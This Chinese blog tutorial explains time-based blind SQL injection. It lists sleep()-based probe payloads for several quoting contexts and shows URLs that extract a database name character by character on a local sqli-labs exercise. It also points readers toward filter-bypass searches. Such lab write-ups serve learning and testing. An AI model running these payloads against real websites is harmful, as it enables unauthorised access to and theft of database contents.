1. 程式人生 > >基於時間的盲注

基於時間的盲注

延時注入,用的最多的注入

常用的判斷語句:

' and if(1=0,1, sleep(10)) --+ 

" and if(1=0,1, sleep(10)) --+

) and if(1=0,1, sleep(10)) --+

') and if(1=0,1, sleep(10)) --+

") and if(1=0,1, sleep(10)) --+

 

寫這篇文章只是為了更好的理解延時注入的原理

進入本地搭建的靶場進行練習

 不進行fuzz測試了,直接看原始碼

第一可知道為單引號存在注入,利用‘%23繞過

第二個不顯示任何錯誤資訊,也就無法通過回顯或者不同頁面判斷注入是否成功,這樣只能使用延時去判斷了

測試注入點:

http://localhost/sqli-labs-master/Less-9/?id=1' and if(1=1,sleep(6),1)%23liy

利用if(條件,0,1)函式,當條件為真,返回0,假則返回1

在這裡是‘ and 1=1 為真,延時6秒,假則直接返回(我電腦比較老所以直接返回也耗費一秒多),注入點和注入語句基本確定可使用。

那就進行注入傳統步驟

爆資料庫

http://localhost/sqli-labs-master/Less-9/?id=1' and if(ascii(substr(database(),1,1))>95,sleep(6),1)%23

利用二分法猜解資料庫的每一個數據

 


二分法以此類推,116時直接返回頁面。說明資料庫第一個資料的ascii碼為115,即為s,後面的資料同理,最後資料庫名為‘security’

當然在爆資料庫前最好先爆資料庫長度

表、列、欄位在前面一篇有介紹過相應語法,可自行查閱,這裡就不繼續演示了,但這裡基本已經完成對延時注入的理解,當然實際環境中,很多常用的函式是會被過濾的,需要你們自己去百度看看如何繞過。